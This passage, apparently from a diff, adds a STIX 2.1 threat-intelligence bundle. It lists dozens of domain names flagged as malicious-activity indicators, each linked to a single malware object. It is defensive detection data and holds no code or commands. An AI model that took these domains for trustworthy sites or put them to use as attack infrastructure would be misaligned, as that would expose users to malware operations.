"indicator--689a2067-2188-42df-b50f-3d3ef9ee2b96", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9704548-dd95-4d00-9efb-352375abc166", + "created": "2023-03-29T12:58:44.931495Z", + "modified": "2023-03-29T12:58:44.931495Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='medeka.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.931495Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd7cea24-9ebc-42e6-924d-544e7b073b2b", + "created": "2023-03-29T12:58:44.932074Z", + "modified": "2023-03-29T12:58:44.932074Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9704548-dd95-4d00-9efb-352375abc166", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--340d6c67-f2e9-4b5f-960b-f8eac8c551b5", + "created": "2023-03-29T12:58:44.932241Z", + "modified": "2023-03-29T12:58:44.932241Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dingoshifty.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.932241Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27d0d1cd-778b-4cc0-a6b8-5ed5f7e169d3", + "created": "2023-03-29T12:58:44.932831Z", + "modified": "2023-03-29T12:58:44.932831Z", + "relationship_type": "indicates", + "source_ref": "indicator--340d6c67-f2e9-4b5f-960b-f8eac8c551b5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0d724d95-4a28-456d-920d-3b8ae696cfc5", + "created": "2023-03-29T12:58:44.932998Z", + "modified": "2023-03-29T12:58:44.932998Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fivereimburse.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.932998Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b35d33fd-97ba-44e5-8eb7-df0da6695ff8", + "created": "2023-03-29T12:58:44.933599Z", + "modified": "2023-03-29T12:58:44.933599Z", + "relationship_type": "indicates", + "source_ref": "indicator--0d724d95-4a28-456d-920d-3b8ae696cfc5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5b74b67f-5ae6-495c-b5e5-61c991d72848", + "created": "2023-03-29T12:58:44.933768Z", + "modified": "2023-03-29T12:58:44.933768Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='varmintreptile.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.933768Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2fb08107-a7aa-4033-be88-39ad33f7bc0e", + "created": "2023-03-29T12:58:44.934361Z", + "modified": "2023-03-29T12:58:44.934361Z", + "relationship_type": "indicates", + "source_ref": "indicator--5b74b67f-5ae6-495c-b5e5-61c991d72848", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dccbcd41-afe8-49aa-a38c-49b07e89635d", + "created": "2023-03-29T12:58:44.934529Z", + "modified": "2023-03-29T12:58:44.934529Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fastcatch.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.934529Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ba106264-44f0-4aa5-88b9-368be27bf536", + "created": "2023-03-29T12:58:44.935115Z", + "modified": "2023-03-29T12:58:44.935115Z", + "relationship_type": "indicates", + "source_ref": "indicator--dccbcd41-afe8-49aa-a38c-49b07e89635d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--66709327-4d62-4892-8d8d-bc1d33ba421e", + "created": "2023-03-29T12:58:44.935283Z", + "modified": "2023-03-29T12:58:44.935283Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='punctuatedorsal.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.935283Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b17f2042-b75e-4cdc-87bd-38b3f6ec1509", + "created": "2023-03-29T12:58:44.935992Z", + "modified": "2023-03-29T12:58:44.935992Z", + "relationship_type": "indicates", + "source_ref": "indicator--66709327-4d62-4892-8d8d-bc1d33ba421e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b718a3b-79bc-434c-aeca-43889af1f85b", + "created": "2023-03-29T12:58:44.936165Z", + "modified": "2023-03-29T12:58:44.936165Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ruckusrut.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.936165Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c3172c6a-a274-4ca4-a623-7c4c6df2cb09", + "created": "2023-03-29T12:58:44.936752Z", + "modified": "2023-03-29T12:58:44.936752Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b718a3b-79bc-434c-aeca-43889af1f85b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2df6f89c-73e0-4fa5-bbf9-557cf445104a", + "created": "2023-03-29T12:58:44.936923Z", + "modified": "2023-03-29T12:58:44.936923Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='canyonrarity.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.936923Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f5c832ca-1ed5-4f92-8238-b3cd2a32e18d", + "created": "2023-03-29T12:58:44.937512Z", + "modified": "2023-03-29T12:58:44.937512Z", + "relationship_type": "indicates", + "source_ref": "indicator--2df6f89c-73e0-4fa5-bbf9-557cf445104a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--16e6c2ed-1acc-478e-9d82-df25f82e1771", + "created": "2023-03-29T12:58:44.937683Z", + "modified": "2023-03-29T12:58:44.937683Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='localdishmenu.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.937683Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4fceac75-5835-42fa-8761-d49853070e18", + "created": "2023-03-29T12:58:44.938272Z", + "modified": "2023-03-29T12:58:44.938272Z", + "relationship_type": "indicates", + "source_ref": "indicator--16e6c2ed-1acc-478e-9d82-df25f82e1771", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--989f4ee5-0273-4b92-abe3-df2875591303", + "created": "2023-03-29T12:58:44.93844Z", + "modified": "2023-03-29T12:58:44.93844Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='reexaminescoreless.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.93844Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2d5ee1bb-d55b-44d9-8803-f57b7a79dedc", + "created": "2023-03-29T12:58:44.939042Z", + "modified": "2023-03-29T12:58:44.939042Z", + "relationship_type": "indicates", + "source_ref": "indicator--989f4ee5-0273-4b92-abe3-df2875591303", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d6f076eb-f3bc-40c9-928b-0222798b7834", + "created": "2023-03-29T12:58:44.939209Z", + "modified": "2023-03-29T12:58:44.939209Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wobblyprofessed.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.939209Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6947419a-a9eb-413a-83f2-2e30797821cc", + "created": "2023-03-29T12:58:44.939807Z", + "modified": "2023-03-29T12:58:44.939807Z", + "relationship_type": "indicates", + "source_ref": "indicator--d6f076eb-f3bc-40c9-928b-0222798b7834", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--83f39861-d851-4e11-8442-1a47baebbf45", + "created": "2023-03-29T12:58:44.939974Z", + "modified": "2023-03-29T12:58:44.939974Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aromaprimal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.939974Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--661127ec-42ad-4047-99dc-5c8b211b8fca", + "created": "2023-03-29T12:58:44.940559Z", + "modified": "2023-03-29T12:58:44.940559Z", + "relationship_type": "indicates", + "source_ref": "indicator--83f39861-d851-4e11-8442-1a47baebbf45", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4944cbec-0679-4948-87d0-9a61a9464d88", + "created": "2023-03-29T12:58:44.940726Z", + "modified": "2023-03-29T12:58:44.940726Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fivelatrine.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.940726Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e4ebcb0-655c-4b0b-97d3-223cabfde314", + "created": "2023-03-29T12:58:44.941316Z", + "modified": "2023-03-29T12:58:44.941316Z", + "relationship_type": "indicates", + "source_ref": "indicator--4944cbec-0679-4948-87d0-9a61a9464d88", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b7229e2c-afc4-4af8-ab40-9c94e9d9cf80", + "created": "2023-03-29T12:58:44.941484Z", + "modified": "2023-03-29T12:58:44.941484Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tribunnews.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.941484Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6036695f-b99c-4dfc-91f6-08bfc47d6f5f", + "created": "2023-03-29T12:58:44.942078Z", + "modified": "2023-03-29T12:58:44.942078Z", + "relationship_type": "indicates", + "source_ref": "indicator--b7229e2c-afc4-4af8-ab40-9c94e9d9cf80", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed137c0c-65b8-41d0-a768-237b282ea9d9", + "created": "2023-03-29T12:58:44.942246Z", + "modified": "2023-03-29T12:58:44.942246Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='flashbackbacktalk.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.942246Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--302e2c58-a2f0-4e27-8901-f0d7abfe5f34", + "created": "2023-03-29T12:58:44.942961Z", + "modified": "2023-03-29T12:58:44.942961Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed137c0c-65b8-41d0-a768-237b282ea9d9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--609ed30f-8055-4c4b-bec3-f1ee50d14848", + "created": "2023-03-29T12:58:44.943134Z", + "modified": "2023-03-29T12:58:44.943134Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bansheestatue.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.943134Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--933c8b9d-08af-42f1-ad0a-f1850b02a461", + "created": "2023-03-29T12:58:44.943727Z", + "modified": "2023-03-29T12:58:44.943727Z", + "relationship_type": "indicates", + "source_ref": "indicator--609ed30f-8055-4c4b-bec3-f1ee50d14848", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--05981b45-5062-43fc-826e-98dc3bf68db8", + "created": "2023-03-29T12:58:44.943895Z", + "modified": "2023-03-29T12:58:44.943895Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overtlyreseller.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.943895Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f653473b-2284-4c1a-946b-d092d26f9d1e", + "created": "2023-03-29T12:58:44.94449Z", + "modified": "2023-03-29T12:58:44.94449Z", + "relationship_type": "indicates", + "source_ref": "indicator--05981b45-5062-43fc-826e-98dc3bf68db8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6007e54d-d1a4-49ba-aa55-25c8bae94f26", + "created": "2023-03-29T12:58:44.944658Z", + "modified": "2023-03-29T12:58:44.944658Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='walkingpeople.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.944658Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8af8caf2-6883-48c6-9145-8ccf45083e5f", + "created": "2023-03-29T12:58:44.945253Z", + "modified": "2023-03-29T12:58:44.945253Z", + "relationship_type": "indicates", + "source_ref": "indicator--6007e54d-d1a4-49ba-aa55-25c8bae94f26", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d6acc285-209e-4597-9e48-df2b24843c5d", + "created": "2023-03-29T12:58:44.945421Z", + "modified": "2023-03-29T12:58:44.945421Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='slackingcalzone.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.945421Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d70684a6-dd39-42b1-8ece-3130d0dacf26", + "created": "2023-03-29T12:58:44.94602Z", + "modified": "2023-03-29T12:58:44.94602Z", + "relationship_type": "indicates", + "source_ref": "indicator--d6acc285-209e-4597-9e48-df2b24843c5d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0d55f576-8bad-4701-8e74-76e59103bb3c", + "created": "2023-03-29T12:58:44.946189Z", + "modified": "2023-03-29T12:58:44.946189Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scamwobble.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.946189Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--86547473-87ca-46ea-90b6-8f05f8334c76", + "created": "2023-03-29T12:58:44.946778Z", + "modified": "2023-03-29T12:58:44.946778Z", + "relationship_type": "indicates", + "source_ref": "indicator--0d55f576-8bad-4701-8e74-76e59103bb3c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d65e0759-058a-4110-9e60-a9b8f3efaa60", + "created": "2023-03-29T12:58:44.946946Z", + "modified": "2023-03-29T12:58:44.946946Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nursingvintage.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.946946Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2d400ee-984c-4bcd-ae62-3fd67b378c66", + "created": "2023-03-29T12:58:44.947537Z", + "modified": "2023-03-29T12:58:44.947537Z", + "relationship_type": "indicates", + "source_ref": "indicator--d65e0759-058a-4110-9e60-a9b8f3efaa60", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--14229152-9306-4ac9-b35a-dcdbfdaed6e1", + "created": "2023-03-29T12:58:44.947708Z", + "modified": "2023-03-29T12:58:44.947708Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dawnhamstring.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.947708Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--66990669-b061-408e-8ec7-473d263e8784", + "created": "2023-03-29T12:58:44.948297Z", + "modified": "2023-03-29T12:58:44.948297Z", + "relationship_type": "indicates", + "source_ref": "indicator--14229152-9306-4ac9-b35a-dcdbfdaed6e1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9f2fd103-3a7c-4d92-9a48-b95b710ee73f", + "created": "2023-03-29T12:58:44.948466Z", + "modified": "2023-03-29T12:58:44.948466Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lightlogo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.948466Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8dc264d7-b0e1-4777-866a-93fad94245b8", + "created": "2023-03-29T12:58:44.949053Z", + "modified": "2023-03-29T12:58:44.949053Z", + "relationship_type": "indicates", + "source_ref": "indicator--9f2fd103-3a7c-4d92-9a48-b95b710ee73f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c6e77cf6-77b5-42b2-b12e-516ad48a4114", + "created": "2023-03-29T12:58:44.949224Z", + "modified": "2023-03-29T12:58:44.949224Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unangryspecht.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.949224Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c7cd9ee6-29e1-4a30-a000-9987867872b6", + "created": "2023-03-29T12:58:44.949934Z", + "modified": "2023-03-29T12:58:44.949934Z", + "relationship_type": "indicates", + "source_ref": "indicator--c6e77cf6-77b5-42b2-b12e-516ad48a4114", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--137cf9a7-0d89-4856-b751-67a99eae0513", + "created": "2023-03-29T12:58:44.950107Z", + "modified": "2023-03-29T12:58:44.950107Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='endearingparlor.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.950107Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f2a1fe86-422c-4393-8b1a-edc1bcf64a23", + "created": "2023-03-29T12:58:44.950702Z", + "modified": "2023-03-29T12:58:44.950702Z", + "relationship_type": "indicates", + "source_ref": "indicator--137cf9a7-0d89-4856-b751-67a99eae0513", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7993e35-ea09-4ca1-840e-0e41b7201348", + "created": "2023-03-29T12:58:44.950871Z", + "modified": "2023-03-29T12:58:44.950871Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='barricadedreadlock.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.950871Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c637b39a-17ac-47a2-83d6-bb9aa4058a9c", + "created": "2023-03-29T12:58:44.951465Z", + "modified": "2023-03-29T12:58:44.951465Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7993e35-ea09-4ca1-840e-0e41b7201348", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--451155f3-f762-4945-a7ae-e21c10854227", + "created": "2023-03-29T12:58:44.951632Z", + "modified": "2023-03-29T12:58:44.951632Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unhelpfulgenerous.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.951632Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--60e54240-046d-4470-b366-0aa3ab2b0630", + "created": "2023-03-29T12:58:44.952224Z", + "modified": "2023-03-29T12:58:44.952224Z", + "relationship_type": "indicates", + "source_ref": "indicator--451155f3-f762-4945-a7ae-e21c10854227", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--99d73f38-e21f-4e34-adce-54bb93d0398e", + "created": "2023-03-29T12:58:44.952392Z", + "modified": "2023-03-29T12:58:44.952392Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='antiruststylized.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.952392Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4386a311-d85b-4a95-b693-6c82b1ca2625", + "created": "2023-03-29T12:58:44.952983Z", + "modified": "2023-03-29T12:58:44.952983Z", + "relationship_type": "indicates", + "source_ref": "indicator--99d73f38-e21f-4e34-adce-54bb93d0398e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b884e410-cd00-4f26-88cb-4da738cba6c2", + "created": "2023-03-29T12:58:44.95315Z", + "modified": "2023-03-29T12:58:44.95315Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='basilunfailing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.95315Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4ddd9223-376b-4da7-9990-e64db233a939", + "created": "2023-03-29T12:58:44.953744Z", + "modified": "2023-03-29T12:58:44.953744Z", + "relationship_type": "indicates", + "source_ref": "indicator--b884e410-cd00-4f26-88cb-4da738cba6c2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a4539c5f-4149-4e1f-af89-0a8d05889063", + "created": "2023-03-29T12:58:44.953911Z", + "modified": "2023-03-29T12:58:44.953911Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scrubberfood.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.953911Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--42caefa2-fb06-443a-82a4-6af3d773e827", + "created": "2023-03-29T12:58:44.954522Z", + "modified": "2023-03-29T12:58:44.954522Z", + "relationship_type": "indicates", + "source_ref": "indicator--a4539c5f-4149-4e1f-af89-0a8d05889063", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7fc16d25-5da1-4581-96d9-a053c249ed69", + "created": "2023-03-29T12:58:44.954695Z", + "modified": "2023-03-29T12:58:44.954695Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unsignedcollage.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.954695Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--645ea2b5-7637-4098-acc8-908bee102713", + "created": "2023-03-29T12:58:44.955287Z", + "modified": "2023-03-29T12:58:44.955287Z", + "relationship_type": "indicates", + "source_ref": "indicator--7fc16d25-5da1-4581-96d9-a053c249ed69", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a3131b4-674c-4a64-a7df-32f2c19b2468", + "created": "2023-03-29T12:58:44.955456Z", + "modified": "2023-03-29T12:58:44.955456Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='certaintystabilize.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.955456Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--76330f30-d935-4a53-b448-98a39f095a4c", + "created": "2023-03-29T12:58:44.956069Z", + "modified": "2023-03-29T12:58:44.956069Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a3131b4-674c-4a64-a7df-32f2c19b2468", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e63c6bd-5970-429d-94b9-0c7dcb4215c0", + "created": "2023-03-29T12:58:44.956237Z", + "modified": "2023-03-29T12:58:44.956237Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cropandpop.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.956237Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8e41ec0a-9f53-423a-ae71-9a25f6358cec", + "created": "2023-03-29T12:58:44.95694Z", + "modified": "2023-03-29T12:58:44.95694Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e63c6bd-5970-429d-94b9-0c7dcb4215c0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4f593963-bb88-4f15-a210-72df27a625c7", + "created": "2023-03-29T12:58:44.957112Z", + "modified": "2023-03-29T12:58:44.957112Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='earthlyshrouded.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.957112Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a0c311d-a9bf-4dae-8035-d2a43f03707e", + "created": "2023-03-29T12:58:44.957718Z", + "modified": "2023-03-29T12:58:44.957718Z", + "relationship_type": "indicates", + "source_ref": "indicator--4f593963-bb88-4f15-a210-72df27a625c7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5ac5e01e-0738-49f3-9b75-eb0799652006", + "created": "2023-03-29T12:58:44.95789Z", + "modified": "2023-03-29T12:58:44.95789Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='comprisedplaypen.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.95789Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--56e54fa2-3e54-4175-a525-86de985698ae", + "created": "2023-03-29T12:58:44.958485Z", + "modified": "2023-03-29T12:58:44.958485Z", + "relationship_type": "indicates", + "source_ref": "indicator--5ac5e01e-0738-49f3-9b75-eb0799652006", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f60c2be9-08ae-4838-a5a9-9f163233bf8e", + "created": "2023-03-29T12:58:44.958652Z", + "modified": "2023-03-29T12:58:44.958652Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tribunews.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.958652Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0d949e18-7ed3-4113-ba00-0befb44cd345", + "created": "2023-03-29T12:58:44.959237Z", + "modified": "2023-03-29T12:58:44.959237Z", + "relationship_type": "indicates", + "source_ref": "indicator--f60c2be9-08ae-4838-a5a9-9f163233bf8e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef96d7c7-fc15-420b-ac27-00d4cd04c7f8", + "created": "2023-03-29T12:58:44.959405Z", + "modified": "2023-03-29T12:58:44.959405Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carlesspossum.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.959405Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e1abbbb2-6e62-4160-85c6-2abe28819fa2", + "created": "2023-03-29T12:58:44.959992Z", + "modified": "2023-03-29T12:58:44.959992Z", + "relationship_type": "indicates", + "source_ref": 